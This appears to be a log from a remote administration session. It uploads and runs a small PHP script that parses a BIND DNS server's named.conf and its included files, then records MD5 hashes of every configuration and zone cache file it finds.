MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-21 14:11:39: Establishing a connection
2026-04-21 14:11:39: 

PUT: /tmp/pkp383894

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-21 14:11:39: 

runuser -l bind -s /bin/bash -c '/tmp/pkp383894; rm /tmp/pkp383894'

2026-04-21 14:11:39: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
